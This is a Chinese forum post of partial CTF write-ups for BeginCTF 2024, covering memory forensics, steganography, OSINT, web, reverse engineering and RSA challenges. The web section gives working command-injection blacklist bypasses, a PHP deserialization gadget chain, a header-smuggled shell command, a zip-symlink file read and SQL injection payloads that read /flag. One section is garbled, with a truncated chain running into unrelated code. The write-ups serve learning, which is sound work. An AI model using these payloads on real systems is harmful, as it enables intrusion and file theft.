BeginCTF部分wp

____7n   ·   发表于 2024-02-06 10:37:18   ·   CTF&WP专版

这次beginctf新生赛一边问gpt一边做,最后勉强捡了个第八名

以下是部分题解

Forensics

学取证咯 - cmd

volatility imageinfo查看操作系统

volatility —profile=Win7SP1x64 -f 学取证咯.raw cmdscan

学取证咯 - 想登录我的计算机吗?

看得是这篇文章来安装mimikatz插件:
https://blog.csdn.net/sbingmo/article/details/125719145?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-125719145-blog-132649855.235装完后直接执行

python2 vol.py -f study.raw --profile=Win7SP1x64  mimikatz

学取证咯 - 还记得ie吗?

学取证咯 - 计算机的姓名?

volatility -f  hivelist
#查找名为System的Hive(通常位于地址0xfffff8a000008000)和名为Software的Hive(通常位于地址0xfffff8a00001a000)。
volatility -f  --profile= printkey -o 0xfffff8a000008000 -K ControlSet001\Control\ComputerName\ComputerName
#查找计算机名(注册表)

MISC

下一站上岸

开局拿到题

然后用zsteg看看有没有隐写

base64解密

然后看看图片:发现交点个数只有0,1,2三中情况,0代表分割符,1是.二是_
这组成了莫斯电码,对着表拼出flag即可

tupper

开局给了好多文件,写个脚本合并一下

import base64
i=0
result=""
while(i 0.5 else 0
    for y in range(17):
        for x in range(106):
            aa[y, x] = f(x, y) 
    return aa[:,::-1]

k = 14278193432728026049298574575557534321062349352543562656766469704092874688354679371212444382298821342093450398907096976002458807598535735172126657504131171684907173086659505143920300085808809647256790384378553780282894239751898620041143383317064727136903634770936398518547900512548419486364915399253941245911205262493591158497708219126453587456637302888701303382210748629800081821684283187368543601559778431735006794761542413006621219207322808449232050578852431361678745355776921132352419931907838205001184 #输入你要提取的k
aa = Tupper_self_referential_formula(k)
plt.figure(figsize=(15,10))
plt.imshow(aa,origin='lower')
plt.savefig("tupper.png")
img = Image.open('tupper.png')
#翻转
dst1 = img.transpose(Image.FLIP_LEFT_RIGHT).rotate(360)   
plt.imshow(dst1)
plt.show()

结果:

real check in

MJSWO2LOPNLUKTCDJ5GWKX3UN5PUEM2HNFXEGVCGL4ZDAMRUL5EDAUDFL5MU6VK7O5UUYMK7GEYWWZK7NE3X2===
base32秒了

where is crazyman v1.0

看题

google搜图一下

秋叶原秒了

where is crazyman v2.0

先看图
上google

这张最像
打开地图看看利雅得城市。这里有水,找到了

WEB

readbooks

开局一个莫名其妙的界面

但是试着目录爆破,banned了,感觉很奇怪

发现public/其实是指cat 。这样一来为啥加过滤说的通了
同样的/private/list/就是ls 了
就先用ls确定源码

/public/app*得到源码

import os
from flask import Flask, request, render_template

app = Flask(__name__)

DISALLOWED1 = ['?', '../', '/', ';', '!', '<span class="label label-primary">@',</span> '#', '^', '&amp;', '(', ')', '=', '+']
DISALLOWED_FILES = ['app.py', 'templates', 'etc', 'flag', 'blacklist']
BLACKLIST = [x[:-1] for x in open("./blacklist.txt").readlines()][:-1]

BLACKLIST.append("/")
BLACKLIST.append("\\")
BLACKLIST.append(" ")
BLACKLIST.append("\t")
BLACKLIST.append("\n")
BLACKLIST.append("tc")

ALLOW = [
    "{",
    "}",
    "[",
    "pwd",
    "-",
    "_"
]

for a in ALLOW:
    try:
        BLACKLIST.remove(a)
    except ValueError:
        pass

<span class="label label-primary">@app.route('/')#CTL{n}</span><span class="label label-primary">@app.route('/index')#CTL{n}def</span> hello_world():
    return render_template('index.html')

<span class="label label-primary">@app.route('/public/')#CTL{n}def</span> readbook(name):
    name = str(name)
    for i in DISALLOWED1:
        if i in name:
            return "banned!"
    for j in DISALLOWED_FILES:
        if j in name:
            return "banned!"
    for k in BLACKLIST:
        if k in name:
            return "banned!"
    print(name)
    try:
        res = os.popen('cat {}'.format(name)).read()
        return res
    except:
        return "error"

<span class="label label-primary">@app.route('/list/')#CTL{n}def</span> listbook(name):
    name = str(name)
    for i in DISALLOWED1:
        if i in name:
            return "banned!"
    for j in DISALLOWED_FILES:
        if j in name:
            return "banned!"
    for k in BLACKLIST:
        if k in name:
            return "banned!"
    print(name)
    cmd = 'ls {}'.format(name)
    try:
        res = os.popen(cmd).read()
        return res
    except:
        return "error"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8878)

那就是想办法绕过blacklist,执行cat \/f*
关键点就是构造\/

pwd|cut${IFS}-b${IFS}1&gt;aba #获取斜杠
c''at${IFS}`c''at${IFS}aba`f*#cat /f*

出了

POPGadget

<?php


class Fun{
    private $func = 'call_user_func_array';
    public function __call($f,$p){
        call_user_func($this->func,$f,$p);
    }
}
class Test{
    public function __call($f,$p){
        echo getenv("FLAG");
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}
class A {
    public $a;
    public function __get($p){
        if(preg_match("/Test/",get_class($this-&gt;a))){
            return "No test in Prod\n";
        }
        return $this-&gt;a-&gt;$p();
    }
}
class B {
    public $p;
    public function __destruct(){
        $p = $this-&gt;p;
        echo $this-&gt;a-&gt;$p;
    }
}
$a = new A();
$a-&gt;a = new Fun();
$b = new B();
$b-&gt;a = $a;
$b-&gt;p = 'phpinfo';
echo serialize($b);

flag在env里,phpinfo中有


链子Fun::__call() ‘ok’,
‘message’ => ‘File uploaded successfully’,
‘url’ => preg_split(‘/\?/‘, $_SERVER[‘HTTP_REFERER’])[0] . $file_destination
));
}
}
} else {
echo json_encode(array(
‘status’ => ‘error’,
‘message’ => ‘Only zip files are allowed’
));
}
}


payload:

```http
POST / HTTP/1.1
Host: 101.32.220.189:31388
Content-Length: 1183
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqAJwILUAyHBAxa86
Accept: */*
X-EXTRACT-TO: uploads/;cat /flag&gt;./uploads/aba
Origin: http://101.32.220.189:31388
Referer: http://101.32.220.189:31388/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryqAJwILUAyHBAxa86
Content-Disposition: form-data; name="file"; filename="1.zip"
Content-Type: application/x-zip-compressed

PK

zupload-pro-plus-max-ultra-premium

软连接:

ln -s /flag getflag
zip --symlinks exp.zip getflag

传上exp.zip后访问/uploads/getflag

sql教学局

打了一下发现过滤了空格(/**/),or,select,from等关键字(双写绕过)
第一关:

user=1'/**/union/**/selselectect/**/flag/**/frfromom/**/secret.passwoorrd%23#

题目:第二段flag位于 当前数据库score表,学生begin的成绩(grade)

user=1'/**/union/**/selselectect/**/grade/**/frfromom/**/scoorre/**/where/**/student/**/like/**/'begin'%23#

第三题:loadfile就行了

1'/**/union/**/selselectect/**/loloadad_file('/flag')%23

RE

stick game

拿到源码后先格式化,然后搜搜score变量:

发现了个可疑的操作:

然后搜搜这个_0xa10726

找到了一个类似加分的操作,手动加上1337426

打开游戏玩:每次就会加上1337426分就出了

real checkin xor

def verify_func(ciper,key):
    encrypted = []
    for i in range(len(ciper)):
        encrypted.append(ord(ciper[i])^ord(key[i%len(key)]))
    return encrypted

secret = [7, 31, 56, 25, 23, 15, 91, 21, 49, 15, 33, 88, 26, 48, 60, 58, 4, 86, 36, 64, 23, 54, 63, 0, 54, 22, 6, 55, 59, 38, 108, 39, 45, 23, 102, 27, 11, 56, 32, 0, 82, 24]
print("这是一个保险箱,你能输入相关的key来进行解密吗?")
input_line = input("请输入key &gt; ")
if verify_func(input_line,"ez_python_xor_reverse") == secret:
    print("密码正确")
else:
    print("密码错误")

改改

def verify_func(ciper,key):
    encrypted = []
    for i in range(len(ciper)):
        encrypted.append(ord(ciper[i])^ord(key[i%len(key)]))
    return encrypted
def decrypt_func(ciper,key):
    decrypted = []
    for i in range(len(ciper)):
        decrypted.append(chr(ciper[i]^ord(key[i%len(key)])))
    return decrypted

secret = [7, 31, 56, 25, 23, 15, 91, 21, 49, 15, 33, 88, 26, 48, 60, 58, 4, 86, 36, 64, 23, 54, 63, 0, 54, 22, 6, 55, 59, 38, 108, 39, 45, 23, 102, 27, 11, 56, 32, 0, 82, 24]
for  i in  decrypt_func(secret,"ez_python_xor_reverse"):
    print(i,end="")
'''
print("这是一个保险箱,你能输入相关的key来进行解密吗?")
input_line = input("请输入key &gt; ")
if verify_func(input_line,"ez_python_xor_reverse") == secret:
    print("密码正确")
else:
    print("密码错误")

'''

直接用出了

红白机

上网搜发现这是一种汇编语言(6502)
并且发现了个在线执行网站:https://codediy.github.io/nes-zh/easy6502/index.html


出了

Crypto

fake_n

先分析代码:

from Crypto.Util.number import *
from secret import flag

def fakeN_list():
    puzzle_list = []

    for i in range(15):
        r = getPrime(32)
        puzzle_list.append(r)

    p = getPrime(32)
    q = getPrime(32)
    com = p*q

    puzzle_list.append(com)

    return puzzle_list

def encrypt(m,e,fake_n_list):
    fake_n = 1
    for i in range(len(fake_n_list)):
        fake_n *= fake_n_list[i]

    really_n = 1
    for i in range(len(fake_n_list)-1):
        really_n *= fake_n_list[i]

    c = pow(m,e,really_n)

    print("c =",c)
    print("fake_n =",fake_n)

if __name__ == '__main__':
    m = bytes_to_long(flag)
    e = 65537
    fake_n_list = fakeN_list()
    encrypt(m,e,fake_n_list)

'''
c = 6451324417011540096371899193595274967584961629958072589442231753539333785715373417620914700292158431998640787575661170945478654203892533418902
fake_n = 178981104694777551556050210788105224912858808489844293395656882292972328450647023459180992923023126555636398409062602947287270007964052060975137318172446309766581
'''

可以知道real和fake的区别就是比fake少了个因数,这里先利用得到所有的因数

根据phi是由fake_n来的就改了改网上的脚本写了个爆破的脚本

import gmpy2
import math
from Crypto.Util.number import *

c = 6451324417011540096371899193595274967584961629958072589442231753539333785715373417620914700292158431998640787575661170945478654203892533418902
fake_n = 178981104694777551556050210788105224912858808489844293395656882292972328450647023459180992923023126555636398409062602947287270007964052060975137318172446309766581
n_list=[2215221821, 2290486867, 2333428577, 2361589081, 2446301969, 2507934301, 2590663067, 3107210929, 3278987191, 3389689241, 3417707929, 3429664037, 3716624207, 3859354699, 3965529989, 4098704749, 4267348123]
fake_phi=1
e = 65537
for i in n_list:
    fake_phi*=(i-1)
for i in n_list:
    for j in n_list:
        if i==j:continue
        n=fake_n//i//j
        phi=fake_phi//i-1//j-1
        d=gmpy2.invert(e,phi)
        m = pow(c,d,n)
        if(b'begin' in long_to_bytes(m)):
            print(long_to_bytes(m))

用户名金币积分时间理由
Track-魔方 200.00 0 2024-02-07 11:11:50 普适 100 可读 100

打赏我,让我更有动力~

1 条回复   |  直到 2个月前 | 183 次浏览

Track-魔方
发表于 2个月前

请问同学是否有保存比赛相关的源文件包呢,可以加入文章方便阅读的人进行复现学习,同样奖励也会给你提升一些哈

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.